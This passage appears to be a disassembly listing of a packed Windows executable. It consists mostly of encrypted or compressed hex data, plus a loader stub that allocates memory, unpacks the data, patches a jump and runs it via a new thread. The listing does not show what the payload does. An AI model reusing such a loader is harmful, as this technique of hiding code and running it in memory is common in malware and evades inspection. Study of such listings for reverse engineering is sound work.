0B757A817h, 93C0BA89h, 0B2073933h, 231CD685h dd 16936C46h, 4281FD68h, 39666675h, 0F3C00BEh, 0D5BE3FBDh dd 43E2674Dh, 0F13A6950h, 0C65410Bh, 454F63F0h, 0AD0BB54Dh dd 6441029Eh, 0B77D7264h, 728F4534h, 0DC614197h, 4F6413ADh dd 0AD53F966h, 0F6ECCEE1h, 437BD0A4h, 3752994Dh, 890F3E8Ah dd 0D2E7AD57h, 41D9D10Dh, 23DD116Ah, 6C745280h, 0E2776E55h dd 0A8C79E64h, 4C697414h, 0DFBA5043h, 70703DC2h, 2E74A9C0h dd 0FCDB7063h, 0F684AC31h, 1EB514FBh, 0B1A528Bh, 31C8E0Bh dd 134C2F0Bh, 961D3370h, 0D21AED3Eh, 33627711h, 5703DB76h dd 53706D0Bh, 1A5C7751h, 2E02B176h, 11B1AB0Ch, 5100C15Ch dd 803F7827h, 85077B5Bh, 51BD0101h, 0E5A45DD7h, 0E6EF0154h dd 3CE023Dh, 3CFEAE00h, 0A3600FFh, 2B36E00h, 66394C5h dd 6368C4F0h, 3C2E359Bh, 180A7907h, 0EC8E10E7h, 0BC113C62h dd 98CF12F3h, 0F36C133Ch, 3C34CF18h, 1AF30C19h, 1E61D4C7h dd 1C9C791Bh, 789E74E7h, 0E7796479h, 797A9E54h, 40E7FC44h dd 3078FF9Eh, 0E303F8h, 0DF16F77Ch, 3023CDFh, 45A07BEh dd 5037997h, 69E0DE7h, 69070979h, 803E57Fh, 0F20907F3h dd 0B1BF90Ah, 3B165FDEh, 0BE0F163Ch, 13105F57h, 0BE12113Ch dd 21027903h, 35970DE7h, 0CF41CF0Fh, 3350CB43h, 17F252E5h dd 5707F953h, 0BE595F7Ch, 176C5F7Bh, 0F3206D3Ch, 2F1CCF70h dd 697AB72h, 0B380CB2Fh, 7F281E5h, 831FF982h, 477C84F9h dd 0CB29F391h, 0A1E50F9Eh, 0F9A48FF2h, 0B7F9A76Fh, 0BECE9F7Ch dd 27D77E1Fh, 861F0718h dd 742E0201h, 9D2E01E4h, 79826006h, 17F82182h, 7BCDFA6h dd 7A5A13Eh, 0FCE09F81h, 807E4041h, 2F70A8D9h, 33DAA3C1h dd 7E7C20A3h, 1FFE813Eh, 0B516FE40h, 413FBF2Fh, 1BCFB63Ch dd 4FA2E4A2h, 0E8A2E501h, 356A5BA2h, 7E615FDDh, 51D0FEA1h dd 0DA51E005h, 5FDA705Eh, 0DA6A1DDAh, 0D8D37032h, 0F9E0DE1Ch dd 397E312Dh, 2081054Fh, 6A199305h, 0E150Fh, 0AD85F099h dd 0AA62006Eh, 41A37373h, 0B7DC70C9h, 0D745C11h, 38002731h dd 1D6F2EF3h, 5CB3744Eh, 9C20176Fh, 0FBB61FBh, 2D6C1F8Bh dd 0F7731F9h, 2E0F4E2Bh, 77AC2B79h, 76596746h, 21284343h dd 7E2B32Eh, 4225D94Ah, 0E5741D72h, 75CD2009h, 6917CB69h dd 0B264650Dh, 1E5396Bh, 3B8FFB37h, 0EA32BC32h, 0D023BAFDh dd 3028FBh, 3093308Fh, 309B3097h, 0A3309F00h, 0AB30A730h dd 30AF0030h, 30D230CCh, 0FF0030DAh, 2B310530h, 313A31h dd 31613142h, 32583173h, 0C832C200h, 0E332DD32h, 32F40032h dd 332C331Ch, 5600333Eh, 7A336D33h, 338833h, 33B733A9h dd 33DC33D6h, 0FC33F100h, 0A3340F33h, 34B70034h, 34E634D0h dd 60034F2h, 49351F35h, 355535h, 3582357Bh, 35B335A6h dd 1B35BF00h, 87383E38h, 39920038h, 39E139D6h, 40039E8h dd 1D3A173Ah, 2C3A223Ah, 3A2Eh, 3A6E3A60h, 3A7C3A77h, 913A8A00h dd 0AC3AA43Ah, 3AB7003Ah, 3AC33ABDh, 0D3003ACDh, 0E23AD83Ah dd 3AFC3Ah, 3B183B10h, 3B4E3B1Eh, 0BC3B6000h, 0E63BD73Bh dd 3C02003Bh, 3C323C2Ch, 0A9003C8Fh, 0C53CB73Ch, 3CD03Ch dd 3CEA3CE4h, 3D013CF8h, 2B3D1200h, 993D3A3Dh, 3DA1003Dh dd 3E053DFBh, 84003E6Bh, 6F3F363Eh, 3F783Fh, 3F9B3F83h dd 3FDB3FB0h, 0F23FE502h, 343FF93Fh, 13438B3h, 0BB300BB4h dd 0D90130h, 77317031h, 31007F31h, 31883184h, 2B5318Ch dd 0F531DB31h, 2560FC31h, 320432h, 320C3208h, 32143210h dd 62321800h, 6C326832h, 32700D32h, 8D893274h, 338180E5h dd 330C3307h, 14331000h, 5B333133h, 338D0033h, 33983394h dd 0A000339Ch, 0A833A433h, 0B33AC33h, 33FA33B0h, 3404005Eh dd 340C3408h, 0D734CD00h, 54353C34h, 355B0035h, 35BE35B4h dd 0D50035CBh, 8F368535h, 370D36h, 37253714h, 37353730h dd 44373F00h, 83377737h, 378A0037h, 37A0379Ah, 0B10037A7h dd 0D237CA37h, 37D737h, 37E837E3h, 380437FEh, 4C384600h dd 7F386A38h, 38B00038h, 38CC38B7h, 40038FAh, 3A392539h dd 395739h, 398C397Eh, 39C339BDh, 0EA39D100h, 0E39F939h dd 3A2C003Ah, 3A503A43h, 7D133A76h, 2F953Ah, 123BFE3Bh dd 3C00423Ch, 3CC33C4Ah, 253D1Fh, 663D603Dh, 0B13D723Dh dd 3DB73D00h, 3E023DBFh, 2B3E0025h, 4B3E443Eh, 3E005C3Eh dd 3E723E62h, 803E79h, 0AF3E883Eh, 0C53EBB3Eh, 3ECD3E00h dd 3EDB3ED5h, 0F63E00E7h, 383F283Eh, 3F007B3Fh, 3F913F87h dd 2B33FA5h, 0C53FC03Fh, 3363CB3Fh, 0BD709930h, 2D3026h dd 0BA307530h, 0B6319D30h, 31EB3100h, 320D31F3h, 29322719h dd 32B8001Dh, 330932CBh, 2A33001Bh, 62333C33h, 33376F33h dd 9B00197Dh, 0D133C233h, 34001333h, 34453427h, 6D3451h dd 98348234h, 0AF349F34h, 34B53400h, 34C534BCh, 0D43400CCh dd 0E534DA34h, 2198ED34h, 374A0037h, 376A3750h, 7E01376Fh dd 94378437h, 7389F37h, 0CF0037C4h, 0DA37D537h, 337E037h dd 380A37EDh, 3B603810h, 2B3821h, 41383138h, 8B384738h dd 0B03907B1h, 63B290Dh, 3B443B31h, 6713E04Ah, 3B6D3Bh dd 3B7D3B77h, 3B883B82h, 0A13B9800h, 0CC3BBB3Bh, 3BD2003Bh dd 3C473BE5h, 0D8A13FEFh, 580E61h, 304C3006h, 30813056h dd 0EC308800h, 0A310430h, 0D7166E31h, 9E318A00h, 0B731B231h dd 31C40131h, 31E231D6h, 0C0F53AE7h, 2A3217F1h, 323F0032h dd 32563249h, 7301325Ch, 0C632AC32h, 9B0CE32h, 33001833h dd 334F3329h, 66335Fh, 8F337B33h, 0C933A733h, 33D93300h dd 33F433E0h, 18340005h, 6C341F34h, 340D8934h, 0C0673493h dd 0D935BAE3h, 3500E635h, 35F735F1h, 6F363Bh, 8136E536h dd 0A8389B38h, 38B53800h, 38D238C8h, 0D3800DBh, 2D391B39h dd 39004E39h, 39753954h, 8A397Fh, 97398F39h, 0C439AF39h dd 11CA3923h, 0A00DD9Eh, 203A163Ah, 3A2B3Ah, 3A3F3A35h dd 3A883A45h, 973A9200h, 0A13A9C3Ah, 3ABA023Ah, 3B2F3AC0h dd 3B5352C1h, 8CE77064h, 3B00AA3Bh, 3BC53BB8h, 8EF63BD5h dd 3C140407h, 0E0313C22h, 593C50EDh, 3C5F003Ch, 3C703C6Bh dd 81113C7Ah, 1BC0893Ch, 3C9B3C96h, 0C83C00ACh, 303E183Ch dd 3E27373Eh, 4800F53Fh, 753E4C3Eh, 3E009B3Eh, 3EBC3EB5h dd 0C43EC0h, 0CC3EC83Eh, 0D43ED03Eh, 3ED83E04h, 0F3C03F22h dd 3F303F2Ch, 9A3F341Eh, 3FC7F1B0h, 0D03FCC00h, 0F13FD43Fh dd 9413C63Fh, 1B00828Ch, 54304D30h, 305830h, 3060305Ch dd 30683064h, 70306C1Bh, 30C08105h, 9CC830C4h, 31268E2Fh dd 321392A5h, 87803142h, 96329132h, 32AF0032h, 32C932C4h dd 0F51132E8h, 29C30232h, 381E3316h, 334A31h, 337F3367h dd 33F7339Fh, 40340D04h, 1B70A834h, 183513h, 47353435h dd 60354E35h, 35683500h, 35893578h, 278E9Ch, 362A35D4h dd 365D363Ch, 0B3366E00h, 0C36BF36h, 374D0037h, 37D037B6h dd 419937D9h, 441C55A7h, 30D00000h, 30D830D4h, 0E00430DCh dd 0E830E430h, 30F0CFE0h, 0F81B30F4h, 13A1FC30h, 800D931h dd 10310C31h, 31140031h, 311C3118h, 24023120h, 2C312831h dd 709F6031h, 34017834h, 3484347Ch, 0AB8E3488h, 129Ch dd 30083004h, 30183014h, 28301C17h, 78CB71CDh, 0A9DB15B3h dd 17DB23D1h, 3437AB24h, 334400C5h, 3354334Ch, 6433005Ch dd 74336C33h, 33047C33h, 338C3384h, 0B4FB9C1Eh, 12h dup(0) dd 10000h, 6, 80000018h, 3 dup(0) dd 10000h, 7, 80000030h, 3 dup(0) dd 10000h, 809h, 48h, 9000h, 138h, 2 dup(0) dd 0B000h, 0Ch, 38D238CDh, 1000h, 0Ch, 3B493B3Ah, 3 dup(0) dd 40942F98h, 0 dd 6902h, 3 dup(1), 0B0A6h, 0B0A2h, 0B0A0h, 0B0AA0000h dd 10170000h, 50430000h, 7070416Ch, 74656Ch, 0B0FDh, 0B10Dh dd 0B11Fh, 0B12Fh, 0 dd 0B0B4h, 0 dd 0FFFFFFFFh, 0B0F0h, 0B0B4h, 5 dup(0) dd 6E72656Bh, 32336C65h, 6C6C642Eh, 4C000000h, 4C64616Fh dd 61726269h, 417972h, 47000000h, 72507465h, 6441636Fh dd 73657264h, 73h, 72695600h, 6C617574h, 6F6C6C41h, 63h dd 72695600h, 6C617574h, 65657246h, 0F4D40000h, 0C036C58Dh dd 0F2EAA4C8h, 0DD6DD56Ah, 2CF60FB8h, 47630D46h, 3285D10Fh dd 22EA670Ch, 0C313F133h, 86183999h, 0DB33C6A9h, 50000834h dd 8B600000h, 8B242474h, 247Ch, 245C8B28h, 1B8BFC2Ch, 0DB85C933h dd 80B21074h, 0DF030000h, 0E803B1A4h, 66h, 0FB3BF673h dd 7C73h, 33575553h, 0ED3343DBh, 7C8DC38Bh, 0EB8B001Dh dd 0DF8B0800h, 0F11C49E8h, 3D5C8Dh, 800C703h, 3AE8EF8Bh dd 5D5FE20Eh, 73C12B5Bh, 8B090000h, 34E8C5h, 1CEB0000h dd 0AC08E0C1h, 0E840h, 28h, 13DE88Bh, 83000040h, 813DFFD9h dd 7076000h, 2BF78B56h, 5EA4F3F0h, 4141h, 0D20295EBh, 168A0575h dd 0C3D21246h, 0E841C933h, 0FFEE0000h, 0C913FFFFh, 0FFFFE7E8h dd 0C3F272FFh, 107C2Bh, 7C892824h, 0C2611C24h, 0B4480010h dd 1021h, 1B390310h, 50000Ah, 0B0B4h, 0B0B8h, 7DF80000h dd 0EBF877F4h, 70007FFDh, 0B80000h, 80000h, 648Ch, 0A000h dd 6, 3E331400h, 69140FB1h, 5360000h, 1000h, 903C02h, 67ED00h dd 58002700h, 700F01h, 61E900h, 58000400h, 600F06h, 58D600h dd 58C51300h, 60810F09h, 4061708h, 10h, 48D000h, 0A000800h dd 0A801h, 52515300h, 56570800h, 5D1DE855h, 1130ED81h dd 1000h, 1125B58Dh, 468B1000h, 4C083FCh, 568BF02Bh, 8B080008h dd 0C2031C46h, 8D89088Bh, 2830128Fh, 930C2017h, 0A0C2240Ch dd 280C970Ch, 9B0C8200h, 738BDE0Ch, 8544h, 0B90E74F6h dd 2Bh, 7B8BF203h, 0F3FA0340h, 8BA40000h, 9F8D8DF3h, 51100012h dd 226E8h, 108B00h, 568B2C4Eh, 8560324h, 9768406Ah, 6A510000h dd 8912FF00h, 128B85h, 0D7E85610h, 4080003h, 0DFE85600h dd 2CB0504h, 62053004h, 0C9853432h, 89840Fh, 84E5400h dd 3EE85651h, 85000005h, 8B7B74C0h, 6F950000h, 8B100017h dd 17738Dh, 75C98510h, 8D08h, 13678Dh, 0F72DEB10h, 0C1h dd 521E7480h, 0E1810000h, 7FFFFFFFh, 23858D51h, 50100013h dd 80858Dh, 1000183Ch, 7D95FF50h, 468B1D25h, 308001Fh dd 524141C8h, 0D1858D51h, 1E005612h, 858D106Ah, 150100BBh dd 95FF006Ah, 0FF011779h, 8C395h, 68100013h, 8000h, 0B5FF006Ah dd 8BB80000h, 7E8B2846h, 0FFC70308h, 0C468B10h, 12FC703h dd 5A5F5E5Dh, 5EC35B59h, 0A2008004h, 0BB100013h, 21100013h dd 13814200h, 136D1000h, 561000h, 6E451B00h, 20797274h dd 6E696F50h, 2074h, 20746F4Eh, 6E756F46h, 68540064h, 72702065h dd 636F0061h, 72756465h, 23652065h, 23800070h, 63207325h dd 646C756Fh, 746F6E20h, 62200000h, 6F6C2065h, 65746163h dd 6E692064h, 7420h, 64206568h, 6D616E79h, 6C206369h, 206B6E69h dd 696C0018h, 72617262h, 73252079h, 3B512Eh, 6964726Fh dd 206C616Eh, 0A0006425h, 6E615B43h, 8C005D79h, 2C700013h dd 0BD9810h, 73750000h, 32337265h, 6C6C642Eh, 73654D00h dd 6173h, 6F426567h, 77004178h, 69727073h, 4166746Eh, 6B000160h dd 656E7265h, 7845226Ch, 7469100Ah, 7373DD50h, 0C001AF00h ; --------------------------------------------------------------------------- dec ecx push ebp mov ebp, esp add esp, 0FFFFFFFCh push ebp push ebx push edi push esi add [eax-147EA45Bh], dl setalc adc eax, [eax] adc [ebx+1100875h], cl mov ecx, [esi] add ecx, ebx push ecx call dword ptr [ebx+24C08595h] add [edx+edi-77h], dh inc ebp cld mov edx, [esi+4] ; CODE XREF: .text:0040E300j add edx, ebx jle short near ptr loc_40E2FB+2 ; --------------------------------------------------------------------------- dw 0 dd 0C085028Bh, 8B521A74h, 50C30302h, 0FFFC75FFh, 0AE934400h dd 1474C085h, 0C2835AABh, 0EB040000h, 0CC683E0h, 0C085068Bh dd 0C033BB75h, 0A05EBh, 0FFFFFFB8h, 5B5F5EFFh, 4C2C95Dh dd 8B6EC000h, 478B087Dh, 85F8B04h, 0C33Bh, 778B4474h, 74F68538h dd 8BF3033Dh, 89D82BD3h, 0FC5D0000h, 3D88BADh, 0C085ADDAh dd 0C88B2A74h, 0E983h, 74C98508h, 8BAD66EDh, 0FFE781F8h dd 300000Fh, 66FB0000h, 660CE8C1h, 7503F883h, 0FC458B05h dd 2B10701h, 0E1754949h, 0C062CCEBh, 8B555F00h, 5DD2085Dh dd 111ED81h, 100014A9h, 0DB3C4E8Bh, 873000AAh, 0C3830856h dd 43B70F48h, 9C23A90Ch, 0A9107504h, 75D00001h, 400A96Fh dd 68750000h, 8B517EEBh, 54180033h, 0C9335308h, 0B70FEB8Bh dd 0E5Bh, 4D7DCF3Bh, 0FF3C068Bh, 0FC801275h, 80057425h dd 15FC0000h, 0C6830875h, 6C18306h, 0E83CE4EBh, 0E74h dd 2975E93Ch, 5701468Bh, 1875F838h, 8B5708EBh, 1460000h dd 0E75D838h, 8E8C166h, 8610C0C1h, 2BC4h, 14689C1h, 5C6835Fh dd 0EB05C183h, 0EB4146B3h, 5BAF0000h, 5118EB59h, 33B8B57h dd 4BB70FFAh, 830Eh, 516602ECh, 16E85752h, 5F000000h, 10C38359h dd 74490056h, 0FF5CE905h, 45DFFFFh, 8B60D400h, 8B660875h dd 558B104Dh, 1980020Ch, 66C20307h, 0F4EB0889h, 0CC2C961h dd 0E61E2Bh, 15FF8008h, 858D1000h, 0D21B1591h, 889D0C2h dd 6105A78Bh, 16044889h, 164922CCh, 0A90C1601h, 75252000h dd 0A4E940h, 8B510000h, 198003F2h, 84BD8B33h, 0C18B084Bh dd 14F9C1h, 3A5F302h, 3E183C8h, 0FC8BA4F3h, 3FA9B60h, 0F7047Bh dd 69EB591Bh, 87D8B5Dh, 34030004h, 51100016h, 772BF78Bh dd 0A8FE8B30h, 574AC600h, 5256C703h, 8D5C1001h, 8B51A68Dh dd 8D89084Bh, 0B60C008Dh, 56575105h, 8B5AD0FFh, 63C850A1h dd 66780E6Eh, 0B1EB5F5Eh, 3A384ED7h, 0DC8B238h, 150016B7h dd 0F259740Dh, 7402E083h, 514A0500h, 8604738Bh, 3084B8Bh dd 62F27400h, 3047B8Bh, 2C38BFAh, 0C033084Bh, 3B82AAF3h dd 26101D08h, 0E2851700h, 8B567FADh, 20C75h, 33085D8Bh dd 104639C0h, 6390475h, 30002C74h, 303741Ch, 4E8B0843h dd 84B030Ch, 7E8B0000h, 74FF8510h, 87B0303h, 53515750h dd 19E8h, 83000000h, 774FFF8h, 0EB14C683h, 5EC033C9h, 0C2C92250h dd 0A31500A6h, 38555340h, 9986AF19h, 27040C45h, 33A28389h dd 608389C0h, 0B88BA4E6h, 0FF0C75FFh, 89D20011h, 0C085FC45h dd 758B7F74h, 72800010h, 0D2851455h, 0D68B0275h, 275F685h dd 0E00CF28Bh, 17CA43h, 4331C710h, 49DE1038h, 4941B852h dd 8B0AE1A9h, 81121380h, 0BEBE2E2h, 8B085D8Bh, 3120180h dd 0C2830853h, 2D583E02h, 13111809h, 7521000h, 54000090h dd 1174C085h, 8906895Ah, 4C28302h, 0B6C683h, 339BEB04h dd 5A06EBC0h, 5D05063Fh, 63C2C95Bh, 6000EF00h, 2424748Bh dd 28247C8Bh, 2C245C8Bh, 851B8BFCh, 334E74DBh, 0A4DF03D2h dd 4573FB3Bh, 20E8h, 0E8F47300h, 27h, 21E891h, 48480000h dd 0E0C14141h, 5640AC08h, 0F02BF78Bh, 0EB5EA4F3h, 0D20366D7h dd 66920875h, 36692ADh, 33C342D2h, 0EAE840C0h, 13FFFFFFh dd 0FFE3E8C0h, 0F272FFFFh, 247C2BC3h, 247C8928h, 10C2611Ch dd 0B16900h, 97B00h, 16400h, 0B84700h, 0B0BC00h, 0B0C000h dd 0 ; --------------------------------------------------------------------------- adc [eax+0A872h], bh lea ecx, [eax+10001082h] mov [ecx+1], eax mov edx, [esp+4] mov edx, [edx+0Ch] mov byte ptr [edx], 0E9h add edx, 5 sub ecx, edx mov [edx-4], ecx xor eax, eax retn ; --------------------------------------------------------------------------- mov eax, 12345678h pop large dword ptr fs:0 add esp, 4 push ebp push ebx push ecx push edi push edx push esi lea ebx, [eax+10001043h] mov edx, [ebx+18h] mov ebp, eax push 40h push 1000h push dword ptr [ebx+4] push 0 mov ecx, [ebx+10h] add ecx, edx mov eax, [ecx] call eax mov edi, eax push eax mov esi, [ebx] mov edx, [ebx+18h] add esi, edx mov ecx, [ebx+0Ch] add ecx, edx lea eax, [ebp+1000111Dh] push dword ptr [ebx+4] pop dword ptr [eax] push 0 push eax push edi push esi call ecx pop eax add eax, [ebx+8] mov edi, eax mov edx, [ebx+18h] mov esi, eax mov eax, [esi-4] add eax, 4 sub esi, eax mov [esi+8], edx mov ecx, [ebx+10h] mov [esi+24h], ecx mov ecx, [ebx+14h] push ecx mov [esi+28h], ecx call edi ; CreateThread mov [ebp+10001121h], eax mov esi, eax pop ecx add ecx, [ebx+18h] push 8000h push 0 push edi call dword ptr [ecx] mov eax, esi pop esi pop edx pop edi pop ecx pop ebx pop ebp jmp eax ; --------------------------------------------------------------------------- align 10h dd 1Ch dup(0) dd 0D127DBAh, 36DD6DABh, 85085307h, 634DE3E5h, 53EEEC45h dd 729FAE8Ah, 4BB4EC50h, 0D23825A9h, 0E648459Ah, 0BA0E5A57h dd 8691953h, 2F446E4h, 0AF9C5929h, 29339CDEh, 8DFFEF2h dd 84D3406h, 9B30E162h, 918AA496h, 3BECA0Eh, 0E22BD0D3h dd 0D27C02A1h, 1E492B65h, 9FDB5030h, 25E87207h, 0E0FD9802h dd 3A4FAB05h, 6733FF80h, 6913D5FCh, 6A6EB65h, 9D8C8211h dd 456CED9Fh, 0EAB1A6CBh, 58802BE3h, 0B9D735A6h, 7CAD0D0Fh dd 0A4740AD3h, 0ABAC724Ah, 0E0B94CC6h, 0CB0AF28Ch, 43FFACB7h dd 91CA73E9h, 0F0B055DCh, 2925EB22h, 0E8E95A7Ch, 0A277B0E2h dd 8799B6D0h, 69868446h, 0EB4B52D8h, 0AFB1B695h, 41C6F9F5h dd 4F0042F9h, 0D40F1317h, 0D2C4C587h, 5CAD6641h, 0F4DB530Bh dd 2CF67386h, 60D65287h, 0FBDF6589h, 0A656FC7Dh, 0F2F320C6h dd 0C4DEED7Ch, 88A3FDD8h, 0DA3AB937h, 0F379FE37h, 0EBC84C2Fh dd 261401A7h, 9D78E8EFh, 645F3C2Dh, 8D273BEFh, 297A9785h dd 9313D909h, 2B4815F0h, 2E2BCA1Bh, 0F7BD52BAh, 9AD898A7h dd 0F84E8A12h, 7421A7CCh, 0C1646074h, 1FFE4599h, 0C9911386h dd 0DEC9E286h, 3436F67Bh, 0F56DBB01h, 4880B01Ch, 0FFF7A776h dd 0DF61B827h, 8F93577Eh, 6E0A37D4h, 858FF1A3h, 8EC97EBh dd 4DA7734Bh, 1FDC1082h, 7D534A18h, 5FB0BF32h, 0D11A1FEDh dd 0A43F05Eh, 0DBA24645h, 8424CA5Bh, 0F7D7D7E0h, 41C08316h dd 70E0CA01h, 0A5CF6E55h, 4D4B1FB6h, 117721D6h, 0AC543E8Bh dd 72E6418Bh, 41ADA399h, 9E7EAD68h, 4055B7DAh, 7E424338h dd 337EB714h, 62675F75h, 0BFE899D7h, 0E02D8A7Bh, 93C19E33h dd 9662F076h, 0EC68CA8h, 15BC4E86h, 10D02A35h, 0CADB6395h dd 8C1E5432h, 4D9806C5h, 180ED32Fh, 10DB76B2h, 0D9F85640h dd 0A17F208Ch, 6430A794h, 69ECDA10h, 80A5C27Ch, 0D2B3BBC3h dd 872CD6A0h, 2BFF2BB2h, 89CC584Dh, 5E10DB39h, 0F6110BF5h dd 8CA23BA2h, 6D2DE170h, 36996F8Ch, 662E7BE8h, 1898C941h dd 9580D883h, 187DEDEDh, 0D1B4F3B6h, 0BA3439DBh, 0D27C0E86h dd 311E6913h, 8F39063Eh, 4B19CB8Fh, 13D2D114h, 8E7288F3h dd 310FBB97h, 0F7E8344Fh, 61573AE8h, 37F38EB3h, 6C485F87h dd 0CF1F145Ah, 65E358Ch, 0D9767803h, 732F3D6Fh, 133CCA19h dd 0FCE3AF6Dh, 0D0051AB8h, 8DB5FBE0h, 0CC03157Ah, 8F10BECBh dd 5814B153h, 181438C8h, 3F56CA49h, 752E4E81h, 0A85E6FACh dd 4444E0Ch, 0A44522C9h, 39F3A887h, 176A167Ch, 743D4A44h dd 0F233FBDBh, 7D28E984h, 0BF4D652Dh, 0D051FA1Dh, 44E59287h dd 0A8DE40E4h, 0FBF39EA2h, 439034DAh, 1CB15745h, 0B4ADE749h dd 842FBB3Fh, 0A36F2CC2h, 49CB7FC0h, 0C47E06D9h, 6532AD41h dd 0EFEF89B3h, 0DDE16D11h, 0C888027Ch, 0DA981121h, 65BE1780h dd 9FE56CFAh, 26108C98h, 0F3B89BE6h, 7D5D1A5Ch, 45679D13h dd 3B614735h, 0FC6EFE70h, 67C4FDB0h, 8A30D918h, 0E52430D9h dd 0B34E9F8Ch, 0BC67E022h, 58A2757h, 1A785B7Fh, 4EED7D37h dd 0DDDD07E3h, 0C570EFCEh, 76F7E500h, 0C6059113h, 3271F9F2h dd 0D5F97E69h, 5A6AAC7Fh, 0EEAB270h, 0E0EF0F69h, 0CAF8D589h dd 0A67139CAh, 7E8703C6h, 50F142CFh, 0C1DBC3FCh, 0D3921D95h dd 0B1E982AEh, 68D7DB6Bh, 32B3041h, 0A6B7363Fh, 91F9695Fh dd 68C591BFh, 0FB0515CCh, 52FC5166h, 23634294h, 81A7C2E4h dd 85CE55E9h, 494EE4F8h, 2A71EE20h, 32C56134h, 72D76C0Ch dd 567B8845h, 3936A7BDh, 372EAB43h, 5691754Fh, 4D09CE29h dd 0E4D2B610h, 0FC686254h, 1B825A87h, 7C3A5F41h, 1EA9C047h dd 4957AD15h, 9B209943h, 383F62A1h, 253E8360h, 0C80C8E4Bh dd 0A8425A65h, 0DFB5F6A6h, 47217851h, 0F58AA2B8h, 42EC1421h dd 477035A2h, 2D29AB3Fh, 19D05863h, 2C1B3B29h, 2ABA604Eh dd 47FDECCCh, 0B2C92589h, 0AB401726h, 82135FB3h, 0EDEED38Eh dd 46651957h, 0D6728D26h, 45948154h, 9D3778AFh, 2D0DD2E5h dd 6ECA749Eh, 6E6B4D39h, 0A552DC1h, 7F2A13CEh, 0FCD70DF1h dd 0F0C7F02Ah, 0C2B23411h, 4A4DA5CEh, 72EFB419h, 8B0136C7h dd 8BF7938Fh, 1F34FBFh, 42F46DFEh, 51F352DAh, 508CCBC5h dd 6297F527h, 7C7125DFh, 0BC5D095Dh, 0CA1DC581h, 0A79C3723h dd 20E83BF1h, 25599F63h, 0E2EA4B1Fh, 1B8B56B2h, 2BD15F71h dd 0BF6250B2h, 3B6FA9C3h, 0C9D69987h, 39FC7192h, 73C2CB72h dd 2B231359h, 135E9E87h, 0D0FD8ADBh, 0D9F3F012h, 0C5677168h dd 792A80C5h, 0A63A40Ah, 6F73AC4Ah, 0F6077255h, 0BBCC1615h dd 0A8F967F7h, 7CF689A3h, 3D400D83h, 90DB2007h, 0A7C96D6h dd 8D0BBB9Fh, 1F64E78Fh, 9DE05A1Dh, 0B835BFF8h, 98B60FE7h dd 1D45145h, 0FFB74E60h, 5A4FB48Eh, 7A37D46Ah, 78E23D48h dd 7EB55226h, 289D9C28h, 0B6E8DEBCh, 575CDE36h, 781F6BE2h dd 91C1FB1Ah, 228A73D9h, 8C6704E7h, 67959077h, 906F94D4h dd 456A7035h, 64FE97B6h, 50B8E2FBh, 0FC53E468h, 9971C29Ch dd 41170F2Fh, 701B9CADh, 0D6A7AF0Bh, 81860F0h, 0B800B899h dd 2580DAh, 8753B767h, 1711228Eh, 0CFAE9683h, 93C49495h dd 0E65509B4h, 0A5EF1F46h, 0F3AAC4A3h, 6A6D572h, 0DE2B23A6h dd 9F1E8EF3h, 40EA26F6h, 7AAEB6Bh, 0ED93D883h, 45F6BF7Ah dd 332D78C3h, 927784Fh, 0F452060Eh, 0E0D5435h, 0D0E30156h dd 7E4F2B70h, 2F61582Bh, 53E79867h, 56B22A13h, 0F10DA541h dd 0DC7F0CCDh, 0D54DAB03h, 76FFE905h, 107A6027h, 0B528A170h dd 65FCB0EFh, 66B7AE8h, 0F78A8215h, 8A8C0B17h, 348D0577h dd 163E0E43h, 99CB1680h, 787C39A1h, 47B920EFh, 0D83BA5EEh dd 9E79BA36h, 3BAAB0CCh, 26D173ADh, 0E31C244Ah, 0A30B1943h dd 526E25D9h, 2D0ACF69h, 2F5969C1h, 0CF6924CAh, 0BBB6862Fh dd 4AE03D9h, 0D71421BFh, 0CD6995BDh, 7233F302h, 9FA80B6Dh dd 27400C7Ah, 0C238FE1Bh, 0E5964019h, 94E19EBh, 4E72DB59h dd 97C76145h, 89862D14h, 8616AC7Fh, 0FF8F24FAh, 9B2F5F7Fh dd 0EFA134B7h, 4308A098h, 8A6DF3A7h, 8BB01279h, 0B915E6A6h dd 4DBB3718h, 0DF714F14h, 0F8767540h, 451C74AAh, 4D073E2h dd 117B8E51h, 42C4272Ch, 76AEAAD7h, 0F3903F47h, 0CE0ACC4Ch dd 0FB1C98CAh, 8BB1B9E5h, 1ED9D053h, 0D6FDBBA0h, 22402F6Bh dd 0A7F1B108h, 0E7274425h, 95E3256Ah, 0D6840161h, 65434256h dd 428E843Fh, 80ADD3C9h, 57B4AFD3h, 2E521BFEh, 1DE24FD6h dd 84D9C6A4h, 0C390107Dh, 38064818h, 2193EB7Fh, 236BBC69h dd 8A6E5727h, 6714CEACh, 0E417F5E2h, 6E4402B5h, 7D5DA028h dd 0D024E910h, 936C13FFh, 0D6A3D46Fh, 7CCC6FEEh, 0E4AE19C9h dd 39E6A29Ch, 5CD7EEECh, 75F05E3Ah, 0E6C183C0h, 81673D32h dd 0C8856B42h, 4650408Dh, 0DE7AA38Ch, 0EC6A2026h, 0AA89E59Ah dd 0C511AFDFh, 405A89DFh, 3CE85DEBh, 2CEA1749h, 64138040h dd 0D0123827h, 0A527E7BFh, 8AA38EF9h, 112E6F47h, 587777F3h dd 0EDC0CEDEh, 12CA0BBh, 0ABE098ADh, 94931780h, 30B8708Dh dd 3F22458h, 53CB2D8Ch, 0D8ADF63Bh, 0DDFF5ACBh, 18F44407h dd 35206586h, 3DB86B34h, 0E50E18B0h, 0ABAE857Ch, 9E743F03h dd 3167C58Eh, 0ADF21F80h, 606BA779h, 38B83317h, 1F4803F3h dd 79AE0C81h, 3BBAD2F8h, 9A765113h, 570CD940h, 0ABCF78B8h dd 44DF24Bh, 0E6670C57h, 0A38721E3h, 7BCD6019h, 0B46C998Ch dd 96D4B3AEh, 0F800E438h dd 2F11CF0Fh, 48B5BEB6h, 9CFC972h, 337012CFh, 0BBBCE811h dd 0E310BB46h, 4D346BABh, 2DE27FEFh, 0F5F3F65Eh, 7AA57533h dd 0D81D2646h, 8CD630DDh, 0D475D8E2h, 1BA9F80Eh, 0E4F736D1h dd 0DAA02997h, 70BB1E7h, 0F3941872h, 0DB4C0671h, 8DA7F2Ch dd 0B1FB8D91h, 92983566h, 1FCB2C7Eh, 0B9BCE576h, 751AE91Ch dd 193DE820h, 0B81B4C14h, 97DFADF7h, 85EB2691h, 1DDCF785h dd 27FC8FCDh, 1B8F9A5h, 83D914FBh, 894B2BCCh, 826A478h dd 67D3E25Ch, 3C00DF7Bh, 8808C2EFh, 0A04CD344h, 0D91F532Dh dd 0FD35B65Fh, 0E4BCDB3Eh, 6C290E77h, 0E34BDC2Dh, 0F7E68516h dd 